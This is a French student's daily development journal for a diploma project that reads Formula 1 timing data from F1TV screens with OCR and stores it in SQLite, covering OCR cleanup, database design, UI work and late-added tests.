+                if (w is DriverNameWindow)
+                    //result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList);
+                    result.Name = "Unknown";
+                if (w is DriverDrsWindow)
+                    //result.DRS = (bool)await (w as DriverDrsWindow).DecodePng();
+                    result.DRS = false;
+                if (w is DriverGapToLeaderWindow)
+                    //result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng();
+                    result.GapToLeader = 0;
+                if (w is DriverLapTimeWindow)
+                    //result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng();
+                    result.LapTime = 0;
+                if (w is DriverPositionWindow)
+                    //result.Position = (int)await (w as DriverPositionWindow).DecodePng();
+                    result.Position = 0;
+                if (w is DriverSectorWindow)
+                {
+                    sectorCount++;
+                    if (sectorCount == 1)
+                        //result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng();
+                        result.Sector1 = 0;
+                    if (sectorCount == 2)
+                        //result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng();
+                        result.Sector2 = 0;
+                    if (sectorCount == 3)
+                        //result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng();
+                        result.Sector3 = 0;
+                }
+                if (w is DriverTyresWindow)
+                    //result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng();
+                    result.CurrentTyre = new Tyre(Tyre.Type.Undefined,0);
+            }
+            return result;
+
    +

    Le but c'est que ensuite je puisse y aller étape par étape.

    +

    Position :

    +

    Alors pour cette reconnaissance je dirais que la 4K fait des merveilles qui permettent de retirer du processing. La position après un simple Treshold est assez bien reconnue et la dilataion et/ou Erosion ne sont pas nescessaires finalement.

    +

    On va donc pouvoir gagner un certain temps et c'est un bon signe pour la suite.

    +

    On peut aussi noter que quand un pilote est hors course toutes ses valeurs sont grisées et sa position est prise comme un -1

    +

    Sectors, alors j'ai refait toute la partie qui concerne les secteurs et qui les nettoie. Et je me suis rendu compte qu'ils étaient bien souvent juste, le seul truc c'est que ils s'affichent de manière un peu spéciale. En fait dans la page de la F1TV les secteurs peuvent faire plus de 60 secondes sans passer sur un affichage de minutes. Ce qui fait que c'est un peu bizarre à regarder mais c'est parfaitement juste.

    +

    J'ai aussi pu simplifier la reconnaissance grâce à l'image de meilleure qualité et maintenant les temps de secteur sont plutôt corrects.

    +

    En fait le plus long et complexe c'est de prévoir les cas particuliers ou un '.' a été mal interprêté... Et en parlant de ca, je vais aller m'occuper des temps au tour qui ajoutent une couche de complexité avec un '.' ET un ':' qui peuvent être oubliés...

    +

    Oh et j'y pense, un truc malin pourrait être de comparer les temps au tour et les temps de secteur. Ils devraient concorder normalement je pense.

    +

    Ok je viens de finir la gestion des temps au tour... J'ai un code de genre 170 lignes pour juste nettoyer le resultat dans le cas ou des '.' n'ont pas été trouvés ou des ':' ont été n'ont pas été trouvé ou si l'un des deux s'est transformé en chiffre etc.. etc.. etc..

    +

    Le soucis c'est que la maintenant je me rend compte que les écarts entre les pilotes vont juste être un enfer à nettoyer... Ils peuvent aussi bien être "0.760" comme "1:34.456" du coup... je sais pas vraiment comment faire pour tout nettoyer.

    +

    Je pense que je vais juste en avoir rien à faire et tant pis si de temps en temps c'est pas génial.

    +

    Bon du coup j'ai pas pris en compte TOUS les cas possibles mais déja un certain nombre et c'est déja pas mal. Sur les différents Grand Prix d'exemples ca a l'air de plutôt bien tourner !

    +

    Mais ca demande tellement de tests et de code que c'est un peu ridicule...

    +

    La methode "GetTimeFromPng" fait déja presque 430 lignes à cause de tous les cas possibles et tous les try catch. Ca peut paraître peu élégant mais j'ai essayé de mettre des commentaires un peu partout pour permettre à nimporte qui de comprendre ce qui se passe.

    +

    J'ai aussi pu faire les pneus et maintenant (roulement de tambour) Ca marche (presque)

    +

    En fait j'ai des soucis parfois quand les pneus sont un peu cachés dans les permiers tours :

    +
    +Pneus cachés +
    Pneus cachés
    +
    +

    Le soucis c'est que du coup le chiffre est un peu illisible... mais je pense que avec l'historique il devrait y avoir moyen de ne pas prendre en compte les chiffres de pneus pendant cinq tours après le changement de pneu ou de simplement tenter de faire les calculs de pneus.

    +

    Pour conclure la journée je pense que je devrais avoir le temps de faire un système qui permet de refresh à volonté.

    +

    Par contre je viens de découvrir que quand un temps de secteur est en couleur on arrive pas à le lire.

    +

    Ah et la detection prend un peu moins de trois secondes sur mon pc je crois. Mais c'est seulement si les driver zones sont faites en même temps mais en faisant ca de temps en temps ca crash et à chaques fois c'est d'un endroit différent du coup je comprend pas vraiment. Sinon ca prend dix secondes.

    +

    Lundi 15 Mai 2023

    +

    Aujourd'hui c'est journée poster et visites. Comme on va avoir des visites de premières années voire de terminales et que le soir c'est visite des parents.

    +

    Je pense que j'ai finit de tout regrouper (à part évidemment le traitement et le stockage des données) ce qui veut dire que je suis pas dans une superbe posture. Il va falloir que je sois très efficace dans la partie stockage de données et mise en place du modèle si je veux avoir une chance de rendre un joli travail de diplôme. (et même comme ca je peux voir que le temps commence à manquer)

    +

    Dans l'idéal je devrais avoir terminé la partie stockage jeudi... Ce qui veut dire que je n'ai que trois jours pour le faire et que en plus jeudi je dois travailler depuis la maison. Ca va pas être simple.

    +

    Mais aujourd'hui je vais m'occuper d'adapter la documentation de l'OCR et faire la documentation de toute la partie récupèration d'images et de la calibration.

    +

    Bon au final la journée a été un peu difficile. On a pas vraiment pu travailler l'après midi car il a fallu présenter le projet environs 10 fois à toutes les classes et à des parents voire futurs experts.

    +

    Les démos ont plutôt bien fonctionnées j'en suis assez content. Mais ca veut dire que la partie doc a pas forcément pu être totalement complêtée mais demain il va falloir que je m'occupe de la suite du projet.

    +

    Mardi 16 Mai 2023

    +

    Bon aujourd'hui c'est la partie stockage qui doit être faite.

    +

    Il y a plusieurs solutions possibles à ce problème. Mais comme je n'ai besoin que d'une base de donnée locale et que je ne veux pas que chaque utilisateur doive installer un serveur sur sa machine je pense que je vais utiliser une base de données SQLITE.

    +

    Il y a eu une petit intervention de mr Bonvin qui est venu me donner une idée pour la partie OCR.

    +

    En fait j'avais un soucis quand je voulais décoder du texte de couleur. Même en appliquant un filtre de gris je n'arrivais pas à faire reconnaitre les chiffres. Et il m'a dit que une bonne idée cela pourrait de prendre la valeur max de chaque channel et de la faire appliquer à tous ce qui blanchit assez bien l'image.

    +

    J'ai décidé d'exagèrer le blanchiment et cela donne des résultats plutôt... intéressants...

    +
    + +
    "Filtre vanish oxy action sur un secteur violet"
    +
    +

    Le soucis c'est que le violet est une couleur quand même assez sombre alors il va falloir que je fasse un système de treshold un peu spécial qui soit un peu plus sympa et qui prenne plus facilement des couleurs plus basses.

    +

    Une methode à laquelle j'ai pensé pour detecter dans quel tour chaque pilote est serait de garder en mémoire toutes les infos de chaques pilotes au fur et à mesure, et dès qu'on ne recoit plus d'infos des secteurs ou que le temps au tour a changé on peut savoir qu'il faut passer au tour suivant.

    +

    Pour detecter les arrêts aux stands je peux essayer de detecter un changement de type de pneus ou de nombre de tours detectés sur le même pneu

    +

    Au départ je me disais que je pourrais peut-être faire une base de donnée SQLITE locale qui puisse être reprise d'un Grand Prix à un autre. Mais je me suis dit que de faire des statistiques inter Grand Prix était un peu en dehors du scope du projet.

    +

    La base de donnée sera donc créée à chaque démarrage de l'app

    +

    La manière dont je vois les choses en ce moment est qu'on aie deux sources de données dans l'affichage final.

    +

    On aurait une partie des infos qui seraient en direct depuis la detection :

    +
      +
    • Les ecarts entre pilotes
      • +
    • La position des pilotes
      • +
    • Le dernier temps au tour
      • +
    • Les derniers secteurs
      • +
    • Les pneus
      • +
    +

    Mais on aurait aussi des rubriques créées de toutes pièces par des infos qui viennent de la BD +Voici les rubriques qui pourraient être intéressantes à voir dans l'interface finale :

    +
      +
    • Les 3 ou 5 pilotes les plus rapides ces cinq derniers tours
      • +
    • Le pilote qui a le plus fait de dépassements
      • +
    • Les batailles en cours
      • +
    • Les 3 pilotes les plus lents
      • +
    • Un classement pondéré avec les 20s de moins pour tous les pilotes qui ne se sont pas encore arrêtés
      • +
    +

    En gros l'idée serait que on update une fois par tour et par pilote la base de donnée avec des infos comme le temps au tour, le type de pneu etc...

    +

    Voici les trois tables que je vais créer :

    +

    Drivers

    + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    IDINTEGERID du pilotePRIMARY
    NameVARCHARNom du piloteNOT NULL
    +

    Pitstops

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui a effectué le PitstopPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    +

    Stats

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui concernéPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    LapTimeINTEGERTemps au tour (MS)NOT NULL
    Sector1INTEGERTemps du secteur 1 (MS)NOT NULL
    Sector2INTEGERTemps du secteur 2 (MS)NOT NULL
    Sector3INTEGERTemps du secteur 3 (MS)NOT NULL
    GapToLeaderINTEGEREcart avec le leader (MS)NOT NULL
    PositionINTEGERPosition piloteNOT NULL
    +

    Ca n'est pas forcément définitif mais je pense que c'est déja un bon début pour faire des rubriques sympa.

    +

    Je suis en train de tenter d'implémenter le code pour permettre ensuite d'ajouter et retirer des choses facilement.

    +

    Mercredi 17 Mai 2023

    +

    Aujourd'hui le but c'est de remplir la base SQLITE avec des infos. Si j'arrive à tout remplir alors ca devrait pas être trop compliqué de venir faire des requètes qui donnent de bonnes infos.

    +

    Mais la problématique principale va être de décider QUAND insèrer des choses dans la base de donnée.

    +

    Je pense que le meilleur moyen serait de garder une liste de DriverData par pilote en piste qui puisse contenir toutes les data que l'on recoit. Et à chaques fois que l'on veut ajouter à cette liste on vérifie si un tour a été fait pour envoyer les data précédente et réinitialiser la liste.

    +

    Il faut donc une liste de 20 listes de DriverData et une liste de int qui représenteront le numéro du tour dans lequel chaque pilote se trouve. +Pour detecter un arrêt je pense que la meilleure manière est de regarder si le pilote a changé de place ou de type de pneu. Si je prend que les fois ou le pilote change place ET de pneus alors certains arrêts pour ceux qui sont loins devant ou loins derrière pourraient ne pas être detectés. Et si je ne prend que le changement de pneus cela pose un soucis car un pneu pourrait avoir été changé pour un autre du même type. Et parfois les valeurs de tours faits avec le pneu ne sont pas toujours bien lues et parfois sont compliquées à retrouver car tous les pneus ne sont pas neuf quand ils sont chaussés.

    +

    Je crois que la detection de tours et des arrêts aux stands est sur la bonne voie. Le seul soucis que j'ai c'est que pour faire du debug je suis un peu obligé d'attendre pendant 10min si je veux avoir de quoi faire des stats un peu sympa.

    +

    Je me rend compte que parfois j'obtiens des résultats un peu bizarres mais que c'est la f1TV qui les donne.

    +

    Par exemple de cas ou Alex Albon n'a que deux tours sur ses pneus alors que tout le monde devant et derrière lui en a 3 et que on est au tour 4.

    +
    + +
    "wtf...?"
    +
    +

    Ah et aussi parfois quand les pilotes se dépassent on se retrouve dans des situations plutôt rigolotes :

    +
    + +
    "Wtf...??"
    +
    +

    COMMENT JE FAIS POUR DETECTER CA WIONDVIDNJDODVNSDIC

    +

    Bon je me rend compte que clairement si je veux que mes data soient plus utiles il faudrait que je fasse un tout petit peu plus de taff sur quelques points dans l'OCR.

    +
      +
    • Le nombre de tours des pneus (Les numéros sont vraiment mal detectés et parfois même la couleur est pas dingue)
      • +
    • Les 4 qui sont pris pour des 1 ou des 11 (pour les temps et les pneus)
      • +
    +

    après un test de plus longue haleine je suis content de voir que au moins mon programme peut tourner plus d'une heure sans crasher et qu'il peut être fiable quand il veut.

    +

    Jeudi 18 Mai 2023

    +

    Aujourd'hui c'est téléTravail forcé et j'étais scensé aller au Grand Prix d'Imola ce qui malheureusement ne pourra pas se faire pour des raisons d'inondations. En effet la région est clairement pas en état de recevoir un Grand Prix de Formule 1 et donc ce weekend c'est maison.

    +

    Le but du jour c'est d'avancer la doc et de tenter d'améliorer l'OCR pour que Lundi il soit relativement facile d'avancer sur l'interface de l'app finale.

    +

    Je suis en train d'explorer une methode de detection de bords de sobel. Le seul soucis c'est que les résultats sont bons mais avec un vide au milieu des chiffres. Cela veut dire que parfois le temps est mal detecté. Mais il semble que pour le reste du temps cela se passe plutôt bien. Ca vaut peut être le coup de modifier la gestion des erreurs.

    +
    + +
    "Artefacts de detection de sobel"
    +
    +

    En fait le soucis avec ces artefacts c'est que parfois le temps au tour n'est tout simplement pas detecté. Dans l'exemple ci dessus, la reconnaissance de caractères ne trouve tout simplement rien. Il faut donc que je trouve un moyen de corriger ces soucis.

    +

    Il semblerait que en appliquant un tresholding un peu plus sévère en amont on arrive à réduire les artefacts

    +
    + +
    "Artefacts allègés"
    +
    +

    ;

    +

    Je crois qu'il faut faire attention avec les 'Bitmap.save' quand on utilise de l'asynchrone. le GDI+ aime pas des masses.

    +

    Lundi 22 Mai 2023

    +

    BON ! Il ne reste plus beaucoup de temps ! Selon le planning cette semaine est la dernière semaine de programmation. Il va donc falloir CHARBONNER !! Il ne me reste plus que une tâche à vraiment faire (à part les tests mais euuuu voila bon).

    +

    J'essaie d'implémenter un peu plus d'error handling mais c'est pas facile... Il y a tellement de choses qui peuvent mal tourner c'est infernal.

    +

    Une chose qui serait bien serait de rajouter des points d'attente variables dans le code de l'emulateur un peu partout pour eviter de se retrouver bloqué à chaque fois. L'intérêt serait que des gens avec une moins bonne connexion pourraient quand même profiter du programme sans qu'il crashe 300 fois.

    +

    Ce qui est frustrant c'est que va savoir pourquoi, maintenant, on arrive quasi jamais a avoir la page data... Genre sans deconner c'est une fois sur 5 que l'emulateur nous ressort la page Data et pas juste le feed. C'est absolument infernal. Je ne comprends pas pourquoi en plus. L'emulateur arrive bien à cliquer sur le bon bouton mais même comme ca ca ne veut pas.

    +

    CA NA AUCUN SENS BORDEL. Sur une image Jjai de supers resultats pour les temps au tour mais dès que l'image change PAF plus aucun temps n'est detecté.

    +

    Ah non c'est bon c'est juste que VA SAVOIR POURQUOI les images sont en putain de resolution DEGEULASSE. Je ne comprends pas pourquoi ce matin particulièrement le projet marche si mal. Par ce que dès que l'image revient à une résolution normale c'est bon.

    +

    Un autre soucis que j'ai est que je n'arrive pas à paralleliser l'OCR ce qui fait que elle peut prendre parfois plus de 15 secondes. Et le problème avec ca c'est que la detection de tours et de pitstop est grandement impactée si on a pas assez de data assez souvent. Je vais me focus sur le reste en attendant mais dès que M.Bonvin apparait dans les parages je vais devoir l'alpaguer.

    +

    J'ai ajouté la possibilité d'essayer plusieurs fois de trouver le bouton fullscreen et de cliquer dessus plutôt que d'attendre dix secondes comme un con et espèrer que ca fonctionne. Mais si après 15 secondes d'essais il n'y arrive pas cela fait quand même pêter une erreur.

    +

    Je pense que je vais m'occuper de la page de configuration maintenant.

    +

    Voici à quoi ressemblait la page de settings ce matin quand je suis arrivé.

    +
    + +
    "Ancienne page de settings"
    +
    +

    Comme je pense que l'UI de cette page ne va pas vraiment changer d'ici la fin du projet je peux me permettre de lui faire une petite beauté car après je ne pense pas y retoucher.

    +

    Pour ca j'ai plusieurs étapes comme choisir une palette de couleur, retirer l'inutile et choisir judicieusement le placement des items sur la form pour que cela soit le plus intuitif possible.

    +

    J'y pense, il fuadrait peut-être que je me trouve un logo ca pourrait rendre bien.

    +

    Voila alors j'ai changé un tout petit peu ce à quoi ressemble la page de settings et j'ai ajouté du responsive pour que le user puisse mettre l'application en plein écran.

    +
    + +
    "Nouvelle page de configuration"
    +
    +

    Mais il manque un peu de couleurs et de détails pour que cela rende vraiment bien.

    +

    Et après quelques tentatives on se retrouve avec une page plutôt sympa je trouve :

    +
    + +
    "Nouvelle page de config"
    +
    +

    Et elle est responsive :

    +
    + +
    "Nouvelle page de config en plein écran"
    +
    +

    Et j'ai fait quelques changements pour ce qui est des zones qui s'affichent pour qu'on les voie mieux.

    +
    + +
    "Nouvelle page de config en action"
    +
    +

    Je trouve que franchement ca rend pas mal. Le reste de l'app sera dans ce style. J'ai mis pas mal de temps à créer cette page, mais je pense que c'est important que la page de config soit propre. Et en plus tout le temps que j'ai passé ici n'est pas perdu car ensuite j'aurai simplement à suivre les mêmes directives de style pour le reste de l'UI.

    +

    Il faut aussi savoir que Windows Form n'est ps forcément le meilleur outil pour travailler avec le design. Truc tout bête par exemple qui m'a fait perdre 30 minutes. Il est impossible de retirer les bordures des objets "GroupBox". Ce que j'ai donc du faire ca a été de dessiner un rectangle autour de la couleur du background pour que l'on ne voit plus les bordures et ensuite j'ai du redessiner le texte pour qu'il puisse s'afficher quand même.

    +

    C'est pleins de petites choses comme ca qui sont plutôt pénibles et qui font perdre du temps mais je pense que c'est rentable de s'y attarder.

    +

    Maintenant ce que je vais faire aujourd'hui et demain c'est l'affichage general de l'app. Je pense que je vais commencer par mettre des placeholder de l'app finale comme ca je saurai quoi implementer comme methodes de récupèration demain.

    +

    J'aimerais quand même faire une interface sympa même si les data sont pas parfaites. Par ce que je me dis que au pire si je montre une interface qui donne des infos inexacte mais qui a la bonne logique c'est toujours mieux que de ne pas montrer ce que ca pourrait faire avec des données un peu plus intègres.

    +

    Autre point à noter, je me suis rendu compte que ca pourrait être potentiellement pas mal de trouver un moyen rapide de lancer l'appli avec un Grand Prix. Genre permettre de selectionner le preset et l'URL du Grand Prix sans avoir à passer par la page de configuration. Je me suis rendu compte que c'était super chiant de devoir à chaque fois le faire (même si je me rends compte que normalement un user ne devrait pas lancer l'app autant)

    +

    Voila ue première version de l'App avec tous les placeholders :

    +
    + +
    "Première version de la page principale"
    +
    +

    Et c'est tout pour aujourd'hui ! Ce fut une journée remplie.

    +

    Mardi 23 Mai 2023

    +

    Aujourd'hui le but c'est de remplir le framework de hier avec les bonnes Data. Je ne sais pas si je peux tout finir en un jour mais on va essayer.

    +

    Bon j'ai eu une discussion animée avec M.Bonvin et il semble que je sois obligé de refaire à peu près tout mon code pour le rendre ne serait-ce qu'un peu optimisé.

    +

    Bon au final j'ai perdu 6H de travail à tenter de convertir mon code dans une version un peu plus optimisée... Mais je me rend compte que c'est juste impossible... Il me faudrait au moins plusieurs jours pour faire correctement ce refactor et donc je vais tout simplement faire un git restore...

    +

    C'est extrêment frustrant mais bon... Pas le choix il semble. J'ai du écrire au moins 600 lignes de code et tout pars en fumée. C'est une débauche d'énergie absolument phénomenale.

    +

    Après ca valait le coup de tenter je pense. (J'ai envie de mourir)

    +

    EN FAIT C'EST BON !! Il fallait juste que je croie en mon code original !!!

    +

    J'ai réussi à paralelliser mon ancien code. Il ne manquait presque rien mais M.Bonvin voulait absolument que je change le reste. Maintenant j'ai une detection qui se fait en quelques secondes c'est genial.

    +

    Mercredi 24 Mai 2023

    +

    Alors hier je n'ai pas bien eu le temps d'expliquer ce que voulait que M.Bonvin. En fait mon programme actuellement utilise un découpage qui peut parâitre complexe. Et de par sa nature, il pensait qu'il était simplement impossible de paralelliser le traitement car trop complexe et trop couteux.

    +

    Il voulait donc que je passe sur un traitement plus simple. L'idée était que on s'occupe dabord de faire une liste de toutes les Windows et de les traiter toutes à la fois pour éviter que les boucles soient trop complexes. Sauf que pour implémenter un truc pareil c'est énormément de code car cela va à l'encontre totale de la facon dont mon projet fonctionne actuellement.

    +

    Mais comme j'étais ouvert à d'autres solutions. J'ai passé six heures à tenter de l'implémenter. Il en aurait fallu au minimum deux jours soyons clair. Et en fait on s'est retrouvés devant pleins de problèmes qui ne se posent pas dans mon architecture originale.

    +

    Par exemple. On a pas trouvé de methode simple pour découper les images des fenêtres de manière thread safe. Il aurait donc fallu ajouter des boucles en préalable pour tout découper et le faire de manière séquencielle.

    +

    Ensuite vient le problème que si on traite toutes les données dans des boucless paralelle on perds leur position originale donc il faut faire une classe pour stocker les résultats temporaires.

    +

    Il y a aussi le soucis que les Windows ont certe une position mais elle est relative au parent et à l'image parente. Donc il faudra faire un système qui convertis les windows en position absolue sur l'image.

    +

    Ca peut paraître être de simples changements mais deja il y en a pas mal d'autres et franchement même si l'idée originale aurait pu simplifier les choses. Les sacrifices que l'on doit faire pour la faire marcher sont juste trop moches et à mon avis ne sont pas du tout aussi logiques que mon découpage original.

    +

    Cette expérience m'a quand même permis de me rendre compte des endroits dans mon code qui sont plus ou moins difficile à maintenir et cela m'a fait me rendre compte que ma solution n'était pas forcément la plus simple pour tout le monde mais que mine de rien elle peut être efficace.

    +

    La je suis en train de rajouter les routes pour la vue. Je me suis dit que ca serait une bonne idée de permettre aux users de cliquer sur un pilote pour avoir ses infos. Mais je me suis dit que ce qui serait encore plus cool serait de pouvoir cliquer sur un des temps au tour d'un pilote et qu'une petite fenêtre s'ouvre pour indiquer les temps par secteurs.

    +

    Mais en faisant ca je me rends compte qu'il y a quelques soucis dans la facon que je conserve les infos dans la DB et je peux voir directement quand la reconnaissance a du mal avec certains pilotes ou des positions. Ca arrive plus souvent que ce que je voudrais que un pilote soit mal detecté. Mais ce qui est drôle c'est que c'est parfois sur une deux voire trois reconnaissance que le pilote n'est plus reconnu mais ensuite tout va bien.

    +

    Il faut que je travaille un peu plus sur le filtrage de ces données limites et peut-être de voir si la reconnaissance de la position pourrait être un peu vérifiée.

    +

    Bon pour être honnête je ne pense pas que le code qui concerne l'affichage soit le meilleur code que j'aie pu produire dans ma vie de développeur mais en même temps je n'ai pas forcément le temps de le rendre magnifique. La le but est simplement que tout marche. (Et c'est un peu la même phylosophie dans tout le reste du projet lol)

    +

    Demain il me reste pas mal de choses à faire et c'est la dernière journée ou je peux les faire.

    +
      +
    • Rendre la form plus jolie et changer les couleurs
      • +
    • Rendre la form Responsive
      • +
    • Ajouter les bons messages d'erreur qui vont bien
      • +
    • Modifier les messageBox d'erreur pour qu'elles soient plus agréables à utiliser
      • +
    • Clean un peu le code modèle vue controller
      • +
    • Si j'ai le temps ajouter les bons commentaires les bonnes entêtes partout
      • +
    +

    Jeudi 25 Mai 2023

    +

    Bon bah le but aujourd'hui c'est de finaliser un peu le projet car la semaine prochaine c'est doc.

    +

    Pas grand chose à dire. J'ai passé la journée à fix des petits bugs par ci par la.

    +

    Voici des exemples de ce à quoi ressemble l'app à la fin de la journée :

    +
    + +
    "Screenshot de la page principale"
    +
    +
    + +
    "Screenshot de la page principale"
    +
    +

    On se rend jamais compte mais c'est tellement long de règler chaque petit soucis un par un. Il y a tellement de possibilités de choses qui peuvent mal tourner ou qui ont un comportement différent selon l'ordre dans lequel on fait les choses.

    +

    Mais dans l'ensemble, même si on est pas sur la meilleure interface que l'on aie vu dans l'histoire. Je trouve que elle fait quand même le taff.

    +

    Vendredi 26 Mai 2023

    +

    Aujourd'hui c'est départ pour Monaco mais comme l'avion etait bien en retard j'ai pu avancer sur le nettoyage du code.

    +

    Grand Prix de Monaco

    +

    [Insert photos]

    +

    Lundi 29 Mai 2023

    +

    Mon vol pour Geneve hier soit a été annulé et je dois donc prendre une deviation car tous les vols pour Geneve sont pleins. Je dois partir a 7h30 pour prende l'avion de 9H pour Nantes et de la bas je dois prendre un avion à 17h pour arriver à 18h30 à l'aéroport de Geneve.

    +

    C'est pas pratique car j'avais prévu d'avancer aujourd'hui et je suis obligé d'avancer comme je peux dans l'aéroport. J'avance encore sur le nettoyage rapide du code. Le but est que demain je puisse sortir la première release en Beta et que je mette vraiment serieusement à la Documentation. M.Jayr m'a également demandé de lui donner le document d'évaluation intermédiaire. Il ne faut pas que j'oublie demain.

    +

    J'ai mis des notes sur mon code au cas ou des gens viennent à le lire. J'y décris les choses que j'aurais fait différemment ou qui pourraient paraître bizarre au tout venant.

    +

    Mardi 30 Mai 2023

    +

    Bon aujourd'hui je dois encore avancer sur la partie nettoyage de code et avant de sortir la première release Beta je vais tenter d'installer le projet sur un autre pc pour voir ce que je n'ai pas mentionné dans mon ReadMe.

    +

    Bon j'ai pu rendre à M.Jayr mon evaluation intermédiaire et j'ai fait les dernières modifications sur le projet pour que je puisse sortir une release correcte. Maintenant je vais me mettre à la documentation. Il va falloir que je revoie ce que j'ai déja écrit en ce qui concerne l'OCR car j'ai fait des modifications depuis et j'ai ajouté la methode de SOBEL.

    +

    Il faut peut-être aussi que je parle vite fait dans la partie Emulation que j'ai du changer les variables d'environnement pour faire fonctionner le système en 4K.

    +

    Mercredi 31 Mai 2023

    +

    Doc

    +

    Jeudi 1 Juin 2023

    +

    Bon je me suis rendu compte que je n'avais fait vraiment aucuns tests et que c'est franchement bof. Je pense que ce que je devrais faire pour faire des tests unitaires c'est prendre des exemples de chaque type de windows possibles en plusieurs exemplaires. Ensuite je note le résultat que j'attends et je regarde si ca me retourne la bonne valeur.

    +

    Mais ca veut dire que ca va me prendre pas mal de temps de tout mettre en place mais ca m'aurait sûrement fait gagner beaucoup de temps si je l'avais fait dès le début...

    +

    Je pense que une bonne idée serait de prendre trois Grand Prix et de prendre une photo de chaque type de window au début et à la fin.

    +

    Plus je regarde plus je me rend compte que ce pojet aurait carrément du être en TDD (Test Driven Developement) par ce que ca m'aurait fait gagner un temps FOU.

    +

    OK JE SUIS DEBILE POURQUOI J'AI PAS FAIT CA PLUS TÔT ???

    +

    En fait ce que j'aurais du faire c'est prendre de gros échantillons de toutes les types de windows et j'aurais un parfait framework pour savoir si j'ai amélioré mon OCR ou non.

    +

    Voici les exemples que je vais utiliser pour verifier le bon fonctionnement de l'OCR :

    +
    + +
    "Dataset Ecarts"
    +
    +

    ;

    +
    + +
    "Dataset Tours"
    +
    +

    ;

    +
    + +
    "Dataset Noms"
    +
    +

    ;

    +
    + +
    "Dataset Positions"
    +
    +

    ;

    +
    + +
    "Dataset Sectors"
    +
    +

    ;

    +
    + +
    "Dataset Tyres"
    +
    +

    ;

    +

    Je pense que c'est un set assez correct car j'ai essayé de prendre un peu tous les cas possibles.

    +

    Le seul qui m'inquiète un peu c'est celui des pneus mais bon. C'est aussi celui qui m'inquiète le plus en temps normal.

    +

    Non mais c'est juste génial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le "+1:34.567" en "61:34.567" car le '+' était interprêté comme un 6. Sans les tests je ne m'en serais pas rendu compte.

    +

    Ce qui est génial c'est que ca veut dire que si je veux améliorer mon OCR j'ai juste à mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule.

    +

    Vendredi 2 Juin 2023

    +

    Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique "Fonctionnement général" qui résume très simplement toutes les étapes du projet avec un bon diagramme.

    +

    En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans être illisible. J'ai mis une heure trente à faire celui la :

    +
    + +
    "Diagramme fonctionnement général"
    +
    +

    J'ai pris pas mal de temps aussi à faire ces trois autre diagrammes un peu plus graphiques qui montrent de manière un poil plus abstraite le fonctionnement des trois grosses parties du projet.

    +
    + +
    "Diagramme recupération d'images"
    +
    +
    + +
    "Diagramme OCR"
    +
    +
    + +
    "Diagramme Traitement"
    +
    +

    Je pense qu'ils sont un peu plus faciles à comprendre que le gros diagramme général. Ce que je me dis c'est que je vais faire une section fonctionnement général ou je vais expliquer les trois parties avec les petits diagramme et résumer avec le grand diagramme.

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(__codelineno-0-481) [ 1571 0 R /XYZ 60.307257 127.806726 0 ] (__codelineno-0-482) [ 1571 0 R /XYZ 60.307257 114.406374 0 ] (__codelineno-0-483) [ 1571 0 R /XYZ 60.307257 101.006022 0 ] (__codelineno-0-484) [ 1571 0 R /XYZ 60.307257 87.605670 0 ] (__codelineno-0-485) [ 1573 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-0-486) [ 1573 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-0-487) [ 1573 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-0-488) [ 1573 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-0-489) [ 1573 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-0-49) [ 1491 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-0-490) [ 1573 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-0-491) [ 1573 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-0-492) [ 1573 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-0-493) [ 1573 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-0-494) [ 1573 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-0-495) [ 1653 0 R /XYZ 60.307257 101.006022 0 ] (__codelineno-0-496) [ 1655 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-0-497) [ 1655 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-0-498) [ 1655 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-0-499) [ 1655 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-0-5) [ 876 0 R /XYZ 60.307257 451.490814 0 ] (__codelineno-0-50) [ 1491 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-0-500) [ 1655 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-0-501) [ 1655 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-0-502) [ 1655 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-0-503) [ 1655 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-0-504) [ 1655 0 R /XYZ 60.307257 637.020102 0 ] (__codelineno-0-505) [ 1655 0 R /XYZ 60.307257 623.619750 0 ] (__codelineno-0-506) [ 1655 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-0-507) [ 1655 0 R /XYZ 60.307257 596.819046 0 ] (__codelineno-0-508) [ 1655 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-0-509) [ 1655 0 R 